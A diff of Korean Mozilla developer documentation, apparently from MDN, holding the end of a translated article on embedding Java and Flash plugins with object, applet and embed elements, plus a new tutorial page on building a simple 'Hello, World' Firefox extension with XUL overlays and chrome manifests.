+<p>Sun의 Java 플러그인은 다른 플러그인들처럼 <code>object</code> 요소로 불러올 수 있습니다. 다시 한 번 말하자면, IE에서는 일반적으로 <code>object</code> 요소에 ActiveX의 유일한 식별자를 지정하는 <code>classid</code> 속성을 같이 씁니다. 플러그인의 각 메이저 버전은 유일한 식별자를 갖고 있습니다. 예를 들어, 다음 예제는 JRE 1.4.1의 유일한 식별자를 가지고 IE에서 JRE 1.4.1을 불러오는 마크업입니다.</p>
+
+<pre>&lt;!-- IE ONLY CODE --&gt;
+&lt;object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
+     width="460" height="160"
+codebase="http://java.sun.com/products/plugin/autodl/jinstall-1_4_1-windows-i586.cab#version=1,4,1"&gt;
+     &lt;param...&gt;
+     &lt;param...&gt;
+&lt;/object&gt;
+</pre>
+
+<p>위 예제는 이전에 설명했던 것과 같은 이유로 Netscape 7 같은 Mozilla 기반 브라우저에서는 동작하지 않을 것입니다. 즉, ActiveX 아키텍처를 참조하는 유일한 식별자와 함께 쓰인 <code>classid</code>를 Mozilla 코드에서는 지원하지 않기 때문입니다. Netscape 7과 그외 Mozilla 기반 브라우저에서는 적절한 MIME 형식으로 Java 플러그인을 호출할 수 있습니다.</p>
+
+<pre>&lt;object type="application/x-java-applet;jpi-version=1.4.1_01"
+width="460" height="160"&gt;
+	&lt;param name="code" value="Animator.class" /&gt;
+	&lt;param name="imagesource" value="images/Beans" /&gt;
+	&lt;param name="backgroundcolor" value="0xc0c0c0" /&gt;
+	&lt;param name="endimage" value="10" /&gt;
+	&lt;param name="soundsource" value="audio"&gt;
+	&lt;param name="soundtrack" value="spacemusic.au" /&gt;
+	&lt;param name="sounds" value="1.au|2.au|3.au|4.au|5.au|6.au|7.au|8.au|9.au|0.au" /&gt;
+	&lt;param name="pause" value="200" /&gt;
+	&lt;p&gt;Java 플러그인이 필요합니다.
+         &lt;a href="http://java.sun.com/products/plugin/index.html"&gt;이곳에서&lt;/a&gt; 플러그인을 받으십시오.&lt;/p&gt;
+&lt;/object&gt;
+</pre>
+
+<p>위의 코드는 특정 버전을 가리키는 MIME 형식을 사용합니다. Mozilla 기반 브라우저에 JRE 1.4.1_01이 설치되어있지 않다면 대체 텍스트가 표시됩니다. MIME 형식에 항상 버전을 명시해야 하는 것은 아닙니다. 특정 버전에만 포함된 기능을 사용할 필요가 없다면 <code>application/x-java-vm</code>이라고 좀 더 일반적인 MIME 형식을 지정해도 잘 동작할 것입니다. 초기 진입 지점(initial entry point, "code" <code>param</code> 요소로 지정된 Animator.class)을 포함하여 애플릿을 위한 설정 매개변수들은 여러 개의 <code>param</code> 요소를 이용해 설정되었습니다.</p>
+
+<p>Netscape 7같은 Mozilla 기반 브라우저는 또한 특별한 classid 속성을 지원합니다. 그것은 "java:" classid 입니다. 이 방법을 사용하여 Java를 불러오는 예제를 보십시오.</p>
+
+<pre>&lt;object classid="java:NervousText.class" width="534" height="50"&gt;
+	&lt;param name="text" value="Java 2 SDK, Standard Edition v1.4" /&gt;
+	&lt;p&gt;Java 플러그인이 필요합니다.
+	   &lt;a href="http://java.sun.com/products/plugin/index.html"&gt;이곳에서
+	   &lt;/a&gt;
+      플러그인을 받으십시오.
+	&lt;/p&gt;
+&lt;/object&gt;
+</pre>
+
+<p>"java:" <code>classid</code>를 이용하면 주요(primary) 진입 지점을 지정할 수 있습니다. 나머지 설정 매개변수들은 <code>param</code> 요소를 통해서 지정합니다.</p>
+
+<h4 id="apple_--_.EB.8C.80.EC.A4.91.EC.A0.81.EC.9D.B8_.EC.84.A0.ED.83.9D" name="apple_--_.EB.8C.80.EC.A4.91.EC.A0.81.EC.9D.B8_.EC.84.A0.ED.83.9D">apple -- 대중적인 선택</h4>
+
+<p><code>applet</code> 요소는 Java 애플릿을 호출하는데 있어 여전히 많은 지원을 받고 있고 가장 인기있는 방법입니다. Netscape 7과 CompuServer 7에서, <code>applet</code> 요소는 직접적으로 Java 플러그인을 호출합니다. 예제를 보십시오.</p>
+
+<pre>&lt;applet code="NervousText.class" width="534" height="50"&gt;
+	&lt;param name="text" value="Java(TM) 2 SDK, Standard Edition v1.4" /&gt;
+&lt;/applet&gt;
+</pre>
+
+<p><code>applet</code> 요소는 HTML 4.01 스펙에서 권장되지 않는 요소가 되었습니다. 그러나 Netscape 7 같은 Mozilla 기반 브라우저에서 그 요소를 사용한다면 플러그인이 존재하지 않을 때 자동으로 받는 기능을 사용할 수 있다는 장점이 있습니다. 브라우저가 Netscape 플러그인 검색 서비스를 이용해서 Java 플러그인을 내려받을 것입니다. <a href="#참고자료">참고자료</a>절에 applet 요소를 사용하는데 대한 관련 자료가 있습니다.</p>
+
+<h4 id="embed_.EC.9A.94.EC.86.8C" name="embed_.EC.9A.94.EC.86.8C">embed 요소</h4>
+
+<p><code>embed</code> 요소는 Netscape 브라우저 초창기부터 플러그인을 불러오기 위한 방법으로 사용되었습니다. 일반적으로 <code>embed</code> 요소는 <code>object</code> 요소 안에 중첩되는 식으로 사용됩니다. 바깥쪽 <code>object</code> 요소는 IE를 위한 ActiveX 컨트롤을 호출하고, 안쪽의 <code>embed</code> 요소는 Netscape 플러그인을 호출하는 것입니다. 예제를 보십시오.</p>
+
+<pre>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
+width=366 height=142 id="myFlash"&gt;
+	&lt;param name="movie" value="javascript_to_flash.swf" /&gt;
+	&lt;param name="quality" value="high" /&gt;
+	&lt;param name="swliveconnect" value="true" /&gt;
+		&lt;embed src="javascript_to_flash.swf" quality="high" width="366" height="142"
+    		type="application/x-shockwave-flash"
+    		pluginspage="http://www.macromedia.com/downloads/"
+    		name="myFlash" swliveconnect="true"&gt;
+    		&lt;/embed&gt;
+&lt;/object&gt;
+</pre>
+
+<p><a href="#참고자료">참고자료</a>절에서 <code>embed</code> 요소를 사용하는 방법에 대한 링크를 찾을 수 있을 것입니다. Netscape 브라우저에서 플러그인을 불러오기 위해서 가장 널리 쓰이고 있는 것이 <code>embed</code> 요소입니다. 그러나 <code>embed</code> 요소는 HTML 4.01 스펙에 포함되지 않았고, 따라서 W3C 표준이 아니라는 것을 알아둘 필요가 있습니다. <code>embed</code> 요소를 사용할 때 몇 가지 주의 사항이 있습니다.</p>
+
+<ul>
+ <li><code>name</code> 속성을 <code>object</code> 요소에 사용하지 마십시오. 특히 <code>embed</code> 요소의 name 요소에 사용한 것과 같은 이름을 사용해서는 안됩니다. 그렇게 하는 것은 HTML 4.01 표준을 어기는 것이지만 몇몇 코드 생성기는 <code>object</code> 요소에 <code>name</code> 속성을 추가합니다. Mozilla 기반의 브라우저에서는 같은 <code>name</code> 속성을 가진 <code>object</code> 요소가 있을 경우 JavaScript DOM 0 메소드를 이용하여 같은 name 속성을 가진 <code>embed</code> 요소에 접근할 수 없습니다. <code>object</code> 요소에는 <code>id</code> 속성을 사용하십시오. <code>object</code> 요소의 <code>id</code> 속성은 <code>embed</code> 요소의 <code>name</code> 속성과 같은 값을 가져도 상관없습니다.</li>
+ <li><code>embed</code> 요소는 설정 매개변수를 <code>swliveconnect="true"</code> 같은 식으로 커스텀 속성을 통해 전달할 수 있습니다. 이것은 <code>object</code>의 <code>param</code> 속성과 비슷합니다. 다른 플러그인 제조사는 서로 다른 설정 매개변수를 <code>embed</code> 요소에 전달할 것을 요구할 것입니다. 그 내용을 배울 것을 권합니다.</li>
+</ul>
+
+<p><code>embed</code> 요소의 <strong>획득 메커니즘</strong> -- 설치되지 않은 플러그인을 받아오는 방법 -- 은 <code>pluginspage</code> 속성을 통해 동작한다는 것을 알아두십시오. 이 속성은 브라우저가 인식하지 못한 플러그인을 받을 수 있는 페이지를 가리킵니다. <code>pluginurl</code> 속성을 사용할 수도 있는데, 이 속성은 좀더 능률적인 다운로드를 위해서 <a href="ko/XPInstall">XPInstall</a> 파일을 직접 가리키는데 사용하 수 있습니다. <code>embed</code> 요소의 이 속성들에 대해서, Netscape 7과 Mozilla에서는 플러그인 검색 서비스 설정에서 설정할 수 있습니다. 편집(Edit) | 설정(Preference) | Navigator | Help Applications 에서 Netscape 플러그인 검색 서비스에 대한 설정을 할 수 있습니다. 사용자가<em>플러그인을 받을 때 항상 Netscape 플러그인 검색 서비스를 사용함</em>(Always Use the Netscape Plugin Finder Service to get Plugins) 옵션을 체크해두면, 앞의 두 속성을 지정하거나 하지 않거나 차이가 없습니다. 브라우저는<em>항상</em> 플러그인 검색 서비스를 사용하여 MIME 형식에 맞는 플러그인을 찾을 것입니다. 사용자가 옵션을 체크해두지 않았다면, 웹 페이지 작성자가<em>속성을 지정하지 않았을 때</em>에만 플러그인 검색 서비스를 사용핫 것입니다.</p>
+
+<h3 id=".EC.9B.90.EB.AC.B8_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.AC.B8_.EC.A0.95.EB.B3.B4">원문 정보</h3>
+
+<ul>
+ <li>저자: Arun K. Ranganathan, Netscape Communications</li>
+ <li>마지막 갱신: 14. Nov 2002</li>
+ <li>저작권 정보: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>원문 링크: <a class="external" href="http://devedge-temp.mozilla.org/viewsource/2002/markup-and-plugins/index_en.html" rel="freelink">http://devedge-temp.mozilla.org/view.../index_en.html</a></li>
+</ul>
+
+<h4 id=".EC.B0.B8.EA.B3.A0.EC.9E.90.EB.A3.8C" name=".EC.B0.B8.EA.B3.A0.EC.9E.90.EB.A3.8C">참고자료</h4>
+
+<h5 id=".EC.9D.BC.EB.B0.98.EC.A0.81_--_.EC.8A.A4.ED.8E.99.EB.93.A4" name=".EC.9D.BC.EB.B0.98.EC.A0.81_--_.EC.8A.A4.ED.8E.99.EB.93.A4">일반적 -- 스펙들</h5>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-html40">HTML 4.01 스펙</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0 스펙</a></li>
+</ul>
+
+<h5 id="object_.EC.9A.94.EC.86.8C" name="object_.EC.9A.94.EC.86.8C">object 요소</h5>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#edef-OBJECT">object 요소에 대한 HTML 4.01 스펙</a></li>
+</ul>
+
+<h5 id="embed_.EC.9A.94.EC.86.8C_2" name="embed_.EC.9A.94.EC.86.8C_2">embed 요소</h5>
+
+<ul>
+ <li><a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics">EMBED 요소에 대한 플러그인 API 참고자료</a> <a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2002/plugin/1.0/intro.html#1002612">on devedge-temp</a></li>
+</ul>
+
+<h5 id="Java" name="Java">Java</h5>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#edef-APPLET">HTML 4.01 Applet Definition (Deprecated)</a></li>
+ <li><a class="external" href="http://java.sun.com/products/plugin/index.html">Java Plugin Homepage</a></li>
+ <li><a class="external" href="http://java.sun.com/products/plugin/versions.html">OBJECT, EMBED, APPLET과 여러 플러그인 버전에 대한 Sun의 문서</a></li>
+ <li><a class="external" href="http://java.sun.com/products/plugin/1.4.1/demos/applets.html">applet 요소를 사용하는 웹 페이지에 대한 Sun의 예제</a></li>
+ <li><a class="external" href="http://java.sun.com/products/plugin/1.4.1/demos/plugin/applets.html">OBJECT/EMBED 요소를 사용하는 웹 페이지에 대한 Sun의 예제</a></li>
+</ul>
+
+<h5 id="Netscape.EC.99.80_Mozilla.EC.9D.98_.EB.B2.84.EA.B7.B8.EC.99.80_.EC.95.9E.EC.9C.BC.EB.A1.9C.EC.9D.98_.EB.B0.A9.ED.96.A5" name="Netscape.EC.99.80_Mozilla.EC.9D.98_.EB.B2.84.EA.B7.B8.EC.99.80_.EC.95.9E.EC.9C.BC.EB.A1.9C.EC.9D.98_.EB.B0.A9.ED.96.A5">Netscape와 Mozilla의 버그와 앞으로의 방향</h5>
+
+<ul>
+ <li><a href="ko/Windows_Media_in_Netscape">Windows Media in Netscape</a> Netscape 7.1과 Windows Media ActiveX 컨트롤</li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=180378" title='macromedia.com - Flash ought to support &amp;amp;lt;param name="movie..."> in addition to data attribute'>bug 180378</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=167601" title='FIXED: [object] Support &amp;amp;lt;param name="PLUGINURL" ...>'>bug 167601</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=180411" title="Plugin Finder Service is not invoked for OBJECT element">bug 180411</a></li>
+</ul>
diff --git a/files/ko/building_an_extension/index.html b/files/ko/building_an_extension/index.html
new file mode 100644
index 0000000000..512ff89155
--- /dev/null
+++ b/files/ko/building_an_extension/index.html
@@ -0,0 +1,240 @@
+---
+title: Building an Extension
+slug: Building_an_Extension
+tags:
+  - Add-ons
+  - Extensions
+translation_of: Mozilla/Add-ons
+---
+<h2 id=".EB.A8.B8.EB.A6.AC.EB.A7.90" name=".EB.A8.B8.EB.A6.AC.EB.A7.90">시작하기</h2>
+<p><a class="link-https" href="https://addons.mozilla.org/en-US/developers/tools/builder" title="https://addons.mozilla.org/en-US/developers/tools/builder">확장기능 마법사</a>를 이용해서 웹으로 간단한 확장기능을 만들 수 있습니다.</p>
+<p>MozillaZine Knowledge Base에는 확장기능 마법사를 이용해 만들 수 있는 것과 비슷한 <a class="external" href="http://mozilla.doslash.org/stuff/helloworld.zip" title="http://mozilla.doslash.org/stuff/helloworld.zip">Hello World 확장기능</a>에 대해 한 줄 한 줄 설명한 <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development" title="http://kb.mozillazine.org/Getting_started_with_extension_development">다른 글</a>도 있습니다.</p>
+<h2 id=".EB.A8.B8.EB.A6.AC.EB.A7.90" name=".EB.A8.B8.EB.A6.AC.EB.A7.90">소개</h2>
+<p>이 입문서는 여러분을 아주 간단한 <a href="/ko/docs/Extensions" title="Extensions">확장기능</a>(Firefox 브라우저에 텍스트 "Hello, World!"를 담고 있는 상태 표시줄 패널을 추가하는)을 만드는 데 필요한 과정 속으로 안내합니다.</p>
+<div class="note">
+ <p><strong>주의</strong> 이 입문서는 Firefox 1.5 이상 버전의 확장기능 만들기에 관한 내용입니다. 이전 버전 Firefox용 확장기능 만들기를 다루는 입문서도 있습니다.</p>
+ <p>썬더버드용 확장기능을 만드는 방법에 대한 입문서는 <a href="/en/Extensions/Thunderbird/Building_a_Thunderbird_extension" title="en/Extensions/Thunderbird/Building a Thunderbird extension">Building a Thunderbird extension</a>에서 보실 수 있습니다.</p>
+</div>
+<h2 id=".EA.B0.9C.EB.B0.9C_.ED.99.98.EA.B2.BD_.EA.B5.AC.EC.B6.95.ED.95.98.EA.B8.B0" name=".EA.B0.9C.EB.B0.9C_.ED.99.98.EA.B2.BD_.EA.B5.AC.EC.B6.95.ED.95.98.EA.B8.B0">개발 환경 구축하기</h2>
+<p>확장기능은 파일 확장자가 <code>xpi</code> (<em>“zippy”로 소리 냄</em>)인 ZIP 파일이나 묶음(<a href="/ko/docs/Bundles" title="Bundles">Bundles</a>)으로 배포됩니다.</p>
+<p>XPI 파일 안 구조의 예 :</p>
+<pre>extension.xpi:
+              /<a href="/ko/docs/install.rdf" title="install.rdf">install.rdf</a>
+              <a href="#XPCOM_Components">/components/*</a>
+              <a href="#Application_Command_Line">/components/cmdline.js</a>
+              <a href="#Defaults_Files">/defaults/</a>
+              <a href="#Defaults_Files">/defaults/preferences/*.js</a>
+              /plugins/*
+              /<a href="/ko/docs/Chrome.manifest" title="Chrome.manifest">chrome.manifest</a>
+              /<a href="/ko/docs/Chrome_window_icons" title="Chrome_window_icons">chrome/icons/default/*</a>
+              /chrome/
+              /chrome/content/
+
+</pre>
+<p>이 글에서도 위와 비슷한 파일 구조를 만들 것입니다. 그러면 이제 하드디스크 어디든지(예컨대, <code style="color: inherit; font-weight: inherit;">C:\extensions\myExtension\</code>이나 <code style="color: inherit; font-weight: inherit;">~/extensions/my_extension/</code>) 확장기능을 위한 폴더를 만들고, 이 폴더 안에 <code style="color: inherit; font-weight: inherit;">chrome</code> 폴더를 만들고, <code style="color: inherit; font-weight: inherit;">chrome</code> 폴더 안에 <code style="color: inherit; font-weight: inherit;">content</code> 폴더를 만드세요.</p>
+<p>확장기능 폴더 <strong>루트</strong> 안에, <code>chrome</code> 폴더와 나란히, 빈 텍스트 파일 두 개를 새로 만드세요. 하나는 <code>chrome.manifest</code> 그리고 다른 하나는 <code>install.rdf</code>입니다. 그리고, <strong>chrome/content</strong> 폴더 안에 sample.xul이라는 빈 텍스트 파일을 하나 만드세요.</p>
+<p>만들어진 폴더 구조 :</p>
+<pre>&lt;ext path&gt;\
+          install.rdf
+          chrome.manifest
+          chrome\
+              content\
+                  sample.xul
+</pre>
+<h2 id="Install_Manifest_.EB.A7.8C.EB.93.A4.EA.B8.B0" name="Install_Manifest_.EB.A7.8C.EB.93.A4.EA.B8.B0">Install Manifest 만들기</h2>
+<p>확장기능 폴더 계층(hierarchy) 상단에 여러분이 만든 <code><a href="/ko/docs/Install_Manifests" title="Install_Manifests">install.rdf</a></code> 파일을 열어 안에 다음을 써넣으세요.</p>
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+     xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
+
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;<strong><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></strong>&lt;/em:id&gt;
+    &lt;em:version&gt;<strong>1.0</strong>&lt;/em:version&gt;
+    &lt;em:type&gt;2&lt;/em:type&gt;
+
+    &lt;!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. --&gt;
+    &lt;em:targetApplication&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;<strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong>&lt;/em:id&gt;
+        &lt;em:minVersion&gt;<strong>1.5+</strong>&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;<strong>2.0.0.*</strong>&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+
+    &lt;!-- Front End MetaData --&gt;
+    &lt;em:name&gt;<strong>Sample!</strong>&lt;/em:name&gt;
+    &lt;em:description&gt;<strong>A test extension</strong>&lt;/em:description&gt;
+    &lt;em:creator&gt;<strong>Your Name Here</strong>&lt;/em:creator&gt;
+    &lt;em:homepageURL&gt;<strong><span class="nowiki">http://www.foo.com/</span></strong>&lt;/em:homepageURL&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+<ul>
+ <li><strong><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></strong> - 확장기능 ID. 이는 email 주소 형식(<em>여러분의</em> email이 아니어야 함을 주의하세요)으로 확장기능을 식별하는 여러분이 짠 어떤 값입니다. 유일하게 만드세요. GUID를 쓸 수도 있습니다.</li>
+ <li><code>&lt;em:type&gt;2&lt;/em:type&gt;</code>로 지정 -- 2는 확장기능을 설치함을 선언합니다. 테마를 설치하는 경우에는 4입니다(다른 형 코드는 <a href="/ko/docs/Install_Manifests#type" title="Install_Manifests#type">Install Manifests#type</a>를 보세요).</li>
+ <li><strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong> - Firefox 응용프로그램 ID.</li>
+ <li><strong>1.5</strong> - 이 확장기능이 작동하는 Firefox의 최소(minimum)판. 이를 여러분이 시험하고 버그를 고치려는 최소판으로 설정하세요.</li>
+ <li><strong>2.0.0.*</strong> - 이 확장기능이 작동하는 Firefox의 최대(maximum)판. 현재 이용가능한 최신판보다 더 최신판으로 설정하지 마세요! 위 경우에, "2.0.0.*"은 확장기능이 Firefox 2.0.0.0에서 2.0.0.x 판까지 작동함을 나타냅니다.</li>
+</ul>
+<p>최신 Firefox 1.5.0.x에서 작동하도록 디자인된 확장기능은 최대판을 "1.5.0.*"로 설정해야 합니다. 완전한 필수와 선택 프로퍼티 목록은 <a href="/ko/docs/Install_Manifests" title="Install_Manifests">Install Manifests</a>를 보세요.</p>
+<p>파일을 저장하세요.</p>
+<h2 id="XUL.EB.A1.9C_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.ED.99.95.EC.9E.A5.ED.95.98.EA.B8.B0" name="XUL.EB.A1.9C_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.ED.99.95.EC.9E.A5.ED.95.98.EA.B8.B0">XUL로 브라우저 확장하기</h2>
+<p>Firefox의 사용자 인터페이스는 XUL과 JavaScript로 작성됩니다. <a href="/ko/docs/XUL" title="XUL">XUL</a>은 button, menu, toolbar, tree 등과 같은 사용자 인터페이스 위젯을 제공하는 XML 문법입니다. 사용자 동작은 JavaScript로 작동됩니다.</p>
+<p>브라우저를 확장하기 위해, 우리는 위젯을 추가하거나 수정하여 브라우저의 UI 부분을 수정합니다. 브라우저 창에 새 XUL DOM 요소를 삽입하여 위젯을 추가하고 스크립트 쓰고 이벤트 처리기(handler)를 붙여 위젯을 수정합니다.</p>
+<p>브라우저는 <code>browser.xul</code>(<code>$FIREFOX_INSTALL_DIR/chrome/browser.jar</code>가 <code>content/browser/browser.xul</code>를 포함합니다)로 구현됩니다. browser.xul에서 아래처럼 보이는 상태 표시줄을 찾을 수 있습니다.</p>
+<pre>&lt;statusbar id="status-bar"&gt;
+ ... &lt;statusbarpanel&gt;s ...
+&lt;/statusbar&gt;
+</pre>
+<p><code>&lt;statusbar id="status-bar"&gt;</code>는 XUL Overlay를 위한 "병합점(merge point)"입니다.</p>
+<h3 id="XUL_Overlay" name="XUL_Overlay">XUL Overlay</h3>
+<p><a href="/ko/docs/XUL_Overlays" title="XUL_Overlays">XUL Overlays</a>는 실행 시간(run time)에 XUL 문서에 다른 UI 위젯을 붙이는 한 가지 방법입니다. XUL Overlay는 "주(master)" 문서 안에서 특정 병합점에 삽입되는 XUL 조각(fragment)을 지정하는 .xul 파일입니다. 이 조각은 삽입, 제거, 수정되는 위젯을 지정하기도 합니다.</p>
+<p><strong>XUL Overlay 문서 예</strong></p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;overlay id="sample"
+         xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+ &lt;statusbar id="<strong>status-bar</strong>"&gt;
+  &lt;statusbarpanel id="my-panel" label="Hello, World"/&gt;
+ &lt;/statusbar&gt;
+&lt;/overlay&gt;
+</pre>
+<p><code><strong>status-bar</strong></code>로 불리는 <code>&lt;statusbar&gt;</code>는 우리가 붙쳤으면 하는 브라우저 창 안 "병합점"을 지정합니다.</p>
+<p><code>&lt;statusbarpanel&gt;</code> 자식은 병합점 안에서 삽입하고 싶은 새 위젯입니다.</p>
+<p>위에 있는 이 sample 코드를 취해 여러분이 만든 <code>chrome/content</code> 폴더 안에 <code><strong>sample.xul</strong></code> 파일로 저장하세요.</p>
+<p>위젯 병합과 Overlay를 쓴 사용자 인터페이스 수정에 관한 더 많은 정보는, 아래를 보세요.</p>
+<h2 id="Chrome_URI" name="Chrome_URI">Chrome URI</h2>
+<p>XUL 파일은 "<a href="/ko/docs/Chrome_Registration" title="Chrome_Registration">Chrome Packages</a>"(<code>chrome://</code> URI를 거쳐 로드되는 사용자 인터페이스 컴포넌트 묶음)의 부분입니다. <code>file://</code> URI(시스템 위에서 Firefox 위치가 플랫폼과 시스템마다 바뀌기도 하기 때문에)를 써서 디스크에서 브라우저로 로드하기보다는, Mozilla 개발자들은 설치된 응용프로그램이 알고 있는 XUL content에 이르는 URI를 만드는 해결책을 냈습니다.</p>
+<p>브라우저 창은 <code><a class="external" rel="freelink">chrome://browser/content/browser.xul</a></code>입니다. Firefox의 location bar에 이 URL을 쳐 보세요!</p>
+<p>Chrome URI는 여러 컴포넌트로 구성되어 있습니다.</p>
+<ul>
+ <li>첫째로, <strong>URI scheme</strong> (<code>chrome</code>)은 Firefox 네트워킹 라이브러리에 이것이 Chrome URI임을 알립니다. URI content가 (<code>chrome</code>)으로 처리되어야 함을 나타냅니다. Firefox가 URI를 웹 페이지로 다루도록 하는 (<code>chrome</code>)과 (<code>http</code>)를 비교하세요.</li>
+ <li>둘째로, 패키지 이름(위 예에서는, <code><strong>browser</strong></code>)은 사용자 인터페이스 컴포넌트 묶음을 식별합니다. 이는 확장기능 사이의 충돌을 피하기 위해 가능하면 응용프로그램에 유일하면 좋습니다.</li>
+ <li>셋째로, 요청되는 데이터 형. 세 가지 형이 있습니다. <code>content</code> (응용프로그램 UI의 구조(structure)와 behavior를 구성하는 XUL, JavaScript, XBL 바인딩 등.), <code>locale</code> (UI의 <a href="/ko/docs/Localization" title="Localization">지역화</a>를 위한 문자열을 담고 있는 DTD, .properties 파일 등), <code>skin</code>(UI의 <a href="/ko/docs/Theme" title="Theme">테마</a>를 구성하는 CSS와 이미지)</li>
+ <li>끝으로, 로드하는 파일의 경로.</li>
+</ul>
+<p>그러므로, <code><a class="external" rel="freelink">chrome://foo/skin/bar.png</a></code>는 <code>foo</code> 테마의 <code>skin</code> section에서 <code>bar.png</code> 파일을 로드합니다.</p>
+<p>Chrome URI를 써서 content를 로드할 때, Firefox는 이 URI를 디스크(나 JAR 패키지)의 실제 원본 파일로 번역하기 위해 Chrome 레지스트리를 씁니다.</p>
+<h2 id="Chrome_Manifest_.EB.A7.8C.EB.93.A4.EA.B8.B0" name="Chrome_Manifest_.EB.A7.8C.EB.93.A4.EA.B8.B0">Chrome Manifest 만들기</h2>
+<p>Chrome Manifest와 지원하는 프로퍼티에 관한 더 많은 정보는, <a href="/ko/docs/Chrome_Manifest" title="Chrome_Manifest">Chrome Manifest</a> 참고 문서를 보세요.</p>
+<p>확장기능 원본 폴더 계층의 루트에 <code>chrome</code> 디렉토리와 나란히 만든 <code><strong>chrome.manifest</strong></code> 파일을 여세요.</p>
+<p>이 코드를 추가하세요.</p>
+<pre>content     sample    chrome/content/
+</pre>
+<p>(<strong>끝에 "<code>/</code>"를 잊지 마세요!</strong> 빠트리면, 확장기능이 로드되지 않습니다.)</p>
+<p>주의: Firefox/Thunderbird 1.5가 mixed/camel case를 지원하지 않기 때문에 패키지 이름("sample")에 모두 소문자를 씀을 확인하세요. 2.0과 이전버전에서 대소문자를 섞어쓰는 기능을 지원하지 않습니다. {{ Bug(132183) }}</p>
+<p>이는 다음을 지정합니다.</p>
+<ol>
+ <li>chrome 패키지 안에 material 형</li>
+ <li>chrome 패키지 이름</li>
+ <li>chrome 패키지 파일의 위치</li>
+</ol>
+<p>그래서, 이 줄은 chrome 패키지 <strong>sample</strong>의 경우, <code>chrome.manifest</code> 위치와 상대 경로인 <code>chrome/content</code> 위치에서 우리가 패키지의 <strong>content</strong> 파일을 찾을 수 있음을 말합니다.</p>
+<p>content, locale, skin 파일은 여러분의 <code>chrome</code> 하위디렉토리 안 content, locale, skin 폴더 안에 놓여야 함을 주의하세요.</p>
+<p>파일을 저장하세요. 여러분의 확장기능이 깔린 Firefox를 띄우면, (이 입문서에서 뒤에), 이 줄이 chrome 패키지를 등록합니다.</p>
+<h2 id="Overlay_.EB.93.B1.EB.A1.9D" name="Overlay_.EB.93.B1.EB.A1.9D">Overlay 등록</h2>
+<p>브라우저를 표시할 때마다 Firefox가 여러분의 overlay를 브라우저 창에 병합할 필요가 있습니다. 그래서 <code>chrome.manifest</code> 파일에 이 줄을 추가하세요:</p>
+<pre>overlay <a class="external" rel="freelink">chrome://browser/content/browser.xul</a> <a class="external" rel="freelink">chrome://sample/content/sample.xul</a>
+</pre>
+<p>이 줄은 Firefox에게 <code>browser.xul</code>을 로드할 때 <code>browser.xul</code> 안에 <code>sample.xul</code>을 병합하도록 합니다.</p>
+<h2 id=".EC.8B.9C.ED.97.98" name=".EC.8B.9C.ED.97.98">시험</h2>
+<p>먼저, 우리는 Firefox에 확장기능 정보 알림이 필요합니다. 예전 좋지 않은 Firefox 1.0 때는 이는 확장기능을 XPI로 패키징하고 그것을 사용자 인터페이스를 거쳐 설치함을 뜻합니다. 그것은 실로 고통이었습니다. 이제는, 훨씬 더 간단합니다.</p>
+<ol>
+ <li><a class="external" href="http://kb.mozillazine.org/Profile_folder">Profile 폴더</a>를 여세요.</li>
+ <li><strong>extensions</strong> 폴더를 여세요(없으면 만드세요).</li>
+ <li>새 텍스트 파일을 만들어, 그 안에 extension 폴더(예컨대, <code>C:\extensions\myExtension\</code>이나 <code>~/extensions/myExtension</code>)를 써넣으세요. 확장기능 id를 이름(예컨대, <code><a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a></code>)으로 갖는 파일로 저장하세요.</li>
+</ol>
+<p>이제 확장기능을 시험할 준비가 됐습니다!</p>
+<p>Firefox를 시작하세요. Firefox가 확장기능 디렉토리 텍스트 링크를 감지하고 확장기능을 설치합니다. 브라우저 창이 보이면 여러분은 상태 표시줄 패널의 오른쪽에 텍스트 "Hello, World!"를 봅니다.</p>
+<p>이제 돌아가서 .xul 파일에 변화를 주고, Firefox를 닫고 재시작하면 그 변화가 보입니다. <span class="comment">These don't actually match the described extension and confuse people. -Nickolay CENTER&gt; Image:Helloworld_tools_menu.PNG Image:Helloworld_extensions_wnd.PNG &lt;/CENTER</span></p>
+<h2 id="Package" name="Package">Package</h2>
+<p>이제 여러분의 확장기능이 동작하므로, 배치(deployment)와 설치를 위해 그것을 <a href="/ko/docs/Extension_Packaging" title="Extension_Packaging">패키지</a>할 수 있습니다.</p>
